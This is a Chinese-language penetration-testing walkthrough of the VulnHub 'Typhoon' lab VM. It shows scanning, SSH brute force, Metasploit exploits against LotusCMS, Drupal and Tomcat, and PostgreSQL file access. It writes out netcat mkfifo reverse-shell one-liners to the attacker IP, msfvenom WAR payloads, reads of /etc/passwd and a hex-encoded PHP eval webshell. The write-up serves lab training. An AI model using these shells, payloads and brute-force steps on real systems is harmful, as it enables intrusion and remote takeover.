kali渗透综合靶机(九)--Typhoon靶机

331 阅读6分钟

一、靶机下载

下载链接:download.vulnhub.com/typhoon/Typ…

二、Typhoon靶机搭建

将下载好的靶机环境,用VMware导入即可使用,文件->打开
在这里插入图片描述
在这里插入图片描述
导入到合适位置即可,默认是C盘,成功导入虚拟机之后,打开即可
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、攻击过程

kali IP:192.168.212.129
靶机IP:192.168.212.9
注意:因后面虚拟网卡更换,故重新获取的靶机IIP地址(后面几步)

1、主机发现

nmap -sn 192.168.212.0/24
在这里插入图片描述

2、端口扫描

方法一:nmap -sS 192.168.212.9
在这里插入图片描述
方法二:masscan 192.168.212.9 -p 0-65535 --rate=10000
在这里插入图片描述

3、端口服务识别

nmap -sV -p- -A 192.168.212.9
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
nmap -sV -T4 -O 192.168.212.9 -p 21,22,25,53,80,110,111,139,143,445,631,993,995,2049,3306,5432,8080
在这里插入图片描述

4、漏洞查找与利用

21端口(ftp)

nmap扫描发现可以匿名访问
在这里插入图片描述
浏览器访问,发现什么都没有
在这里插入图片描述

22端口(ssh)

发现ssh的版本是OpenSSH 6.6.1p1,存在用户名枚举漏洞,使用msf中的ssh枚举脚本(auxiliary/scanner/ssh/ssh_enumusers)
使用cewl收集页面可能是用户的信息,并添加几个常用的用户名,制作一个用户名字典
或者用字典:raw.githubusercontent.com/fuzzdb-proj…
在这里插入图片描述
将用户枚举python脚本复制到/root目录下
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
使用枚举用户脚本枚举用户
python 40136.py 192.168.10.162 -U user.txt
在这里插入图片描述
在这里插入图片描述
枚举出来用户名为 for,netsecchallenges ,TESTING ,infosec,admin

使用hydra破解密码
进入/usr/share/wordlists/路径下kali自带的密码字典rockyou.txt.gz进行解压使用即可,gzip -d rockyou.txt.gz (gzip -d是解压文件)
在这里插入图片描述
hydra -l admin -P /root/rockyou.txt ssh://192.168.212.3 -t 6,下图成功破解admin账户的密码metallica
在这里插入图片描述
尝试用admin账户ssh登录目标,登录成功
在这里插入图片描述
在这里插入图片描述
开始提权
第一种提权方法:
查看版本号
在这里插入图片描述
kali搜索利用exp
在这里插入图片描述
启动kali的WEB功能,将exp复制到WWW目录
在这里插入图片描述
靶机下载exp
在这里插入图片描述
在这里插入图片描述
第二种方法提权:
登陆进去以后我尝试命令:sudo bash , 再输入密码metallica发现成功的GET到root权限,这种方法不稳定(运气好,密码也是metallica)
在这里插入图片描述

25端口(smtp)

发现开放25端口,版本为Postfix smtpd
使用smtp-user-enum 枚举用户名
smtp-user-enum -M VRFY -U user.txt -t 192.168.212.3,枚举出用户名admin,root,Typhoon
在这里插入图片描述

53端口(DNS ISC BIND9.9.5-3)

查看是否存在漏洞,发现dns版本存在拒绝服务漏洞
在这里插入图片描述

80端口(http Apache httpd 2.4.7)

LotusCMS

1.扫描网站后台目录
在这里插入图片描述
发现http://192.168.212.3/cms,尝试弱口令,失败
在这里插入图片描述
漏洞库查找是否有对应的漏洞
在这里插入图片描述
在kali中打开msfconsole,并使用了以下exp
在这里插入图片描述
在这里插入图片描述
成功获得shell,转换成交互式tty,新建一个终端:python -c ‘import pty;pty.spawn("/bin/bash")’
在这里插入图片描述
然后就是提权,提权方式同上

Drupal cms

根据扫描出来的目录访问
在这里插入图片描述
漏洞库查找是否有对应的漏洞
在这里插入图片描述
在kali中打开msfconsole,并使用了以下exp
在这里插入图片描述
在这里插入图片描述
成功获得shell,转换成交互式tty,新建一个终端:python -c ‘import pty;pty.spawn("/bin/bash")’
在这里插入图片描述
然后就是提权,提权方式同上

mongoadmin

在这里插入图片描述
发现http://192.168.212.3/mongoadmin/
在这里插入图片描述
发现是MongoDB数据库的web管理页面,点击change database,出现如下界面
在这里插入图片描述
点击creds,发现账户密码
在这里插入图片描述
账户密码typhoon/789456123
在这里插入图片描述
尝试用ssh登录,成功登陆
在这里插入图片描述
查看系统版本以及内核版本进行提权提权操作如上
在这里插入图片描述

445端口

发现目标开放了445端口,使用enum4linux枚举目标共享信息
enum4linux详细用法:www.ctolib.com/topics-8279…
在这里插入图片描述
发现允许空账户、空密码登录,共享文件typhoon
在这里插入图片描述
远程挂载
mount -t cifs -o username=’’,password=’’ //192.168.212.3/typhoon /mnt
在这里插入图片描述

8080(http Apache Tomcat/Coyote JSP engine 1.1)

发现开放了8080,浏览器访问http://192.168.212.3:8080
在这里插入图片描述
dirb扫描
在这里插入图片描述
发现http://192.168.212.3:8080/manager/,提示需要输入密码
在这里插入图片描述
使用msf auxiliary/scanner/http/tomcat_mgr_login 破解tomcat用户名密码
默认自带用户名密码字典
在这里插入图片描述
设置目标IP地址,爆破即可
在这里插入图片描述
使用获得的用户名登录,发现tomcat 的版本是Version 7.0.52
在这里插入图片描述
使用metasploit的一个模块tomcat_mgr_upload来尝试进行攻击,利用成功,获得meterpreter会话
Tomcat 经过身份验证的上传代码执行
目标服务器是 Apache
Tomcat,而且泄露了管理后台,我们可以利用一个模块来执行 payload。这个 payload 作为一个 war 文件上传,这个 payload 包含了一个 jsp 应用,该 jsp 应用使用 POST 方式向 /manager/html/upload 组件发起请求。请注意,根据目标主机的不同,这个 payload 的设置也会有所不同。比如,如果你的目标主机是 Windows,那么你得使用原生的 windows
payload。
在这里插入图片描述
成功返回shell,提权方法同上
在这里插入图片描述

利用配置不当进行提权(一)

账户密码typhoon/789456123 说是远程登陆
在这里插入图片描述
在这里插入图片描述
我们需要使用Msfvenom创建一个bash代码
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.212.129 lport=9999 W
在这里插入图片描述
之后将上面生成的恶意代码在目标靶机系统中添加到script.sh文件
添加方法:echo “mkfifo /tmp/jxlbz; nc 192.168.212.129 9999 0</tmp/jxlbz | /bin/sh >/tmp/jxlbz 2>&1; rm /tmp/jxlbz” > script.sh
在这里插入图片描述
由于恶意代码是使用script.sh文件执行的。因此我们在netcat监听器上有一个反弹shell。
在这里插入图片描述
在攻击端开启监听,目标端执行脚本,下图可以看到直接获得管理员权限
在这里插入图片描述

利用配置不当进行提权(二)

用低权限用户将构造的命令写入script.sh,令文件调用以root身份运行的/bin/sh,然后反弹shell,就可以获得root权限了
echo “rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.212.129 1234 >/tmp/f” > script.sh
在这里插入图片描述
kali端口监听
在这里插入图片描述
执行shell文件
在这里插入图片描述
shell成功反弹
在这里插入图片描述

Tomcat的后台管理获取shell

在这里插入图片描述
msfvenom生成WAR文件
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.212.129 lport=5555 -f war -o evil.war
在这里插入图片描述
在这里插入图片描述
使用7z l evil.war 查看evulll.war具体内容
在这里插入图片描述
上传evil.war文件
在这里插入图片描述
攻击端监听,浏览器访问上传的恶意Web应用程序
在这里插入图片描述
在这里插入图片描述
接下来便是提权,方式和之前的一样.

5432(PostgreSQL)

使用auxiliary/scanner/postgres/postgres_login,尝试爆破PostgreSQL数据库用户名密码
在这里插入图片描述
在这里插入图片描述
成功爆破出来PostgreSQL用户名以及密码postgres:postgres在这里插入图片描述
登录数据库
在这里插入图片描述
列下目录
在这里插入图片描述
读取权限允许的文件
select pg_read_file(‘postgresql.conf’,0,1000);
在这里插入图片描述
建表,并使用copy从文件写入数据到表
DROP TABLE if EXISTS MrLee;CREATE TABLE MrLee(t TEXT);COPY MrLee FROM ‘/etc/passwd’;select * from MrLee limit 1 offset 0;
成功读取到了/etc/passwd第一行
在这里插入图片描述
直接读出所有数据
SELECT * FROM MrLee;
在这里插入图片描述
利用数据库写文件
INSERT INTO MrLee(t) VALUES(‘hello,MrLee’);
COPY MrLee(t) TO ‘/tmp/MrLee’;
在这里插入图片描述
SELECT * FROM MrLee;
显示里面有一句hello,MrLee,成功写入文件,并成功读取到源内容
在这里插入图片描述
写入木马
创建OID,清空内容
SELECT lo_create(9999);
delete from pg_largeobject where loid=9999;
//创建OID,清空内容
在这里插入图片描述
接下来就是写入木马了,使用hex
在这里插入图片描述
insert into pg_largeobject (loid,pageno,data) values(9999, 0, decode(‘3C3F70687020406576616C28245F504F53545B2761275D293B3F3E’, ‘hex’));
在这里插入图片描述
菜刀连接
在这里插入图片描述
接下来就是提权了

总结

1.信息收集、目录扫描、漏洞分析与利用
2.getshell方法
1.ssh爆破
2.lotus cms漏洞利用
3.Drupal cms漏洞利用
4.mongoadmin 数据库管理web页面查看用户名、密码
5.tomcat tomcat_mgr_upload漏洞
6.PostgreSQL未授权访问 
3.提权方法
1.sudo提权
2.内核版本提权
3.利用配置不当进行提权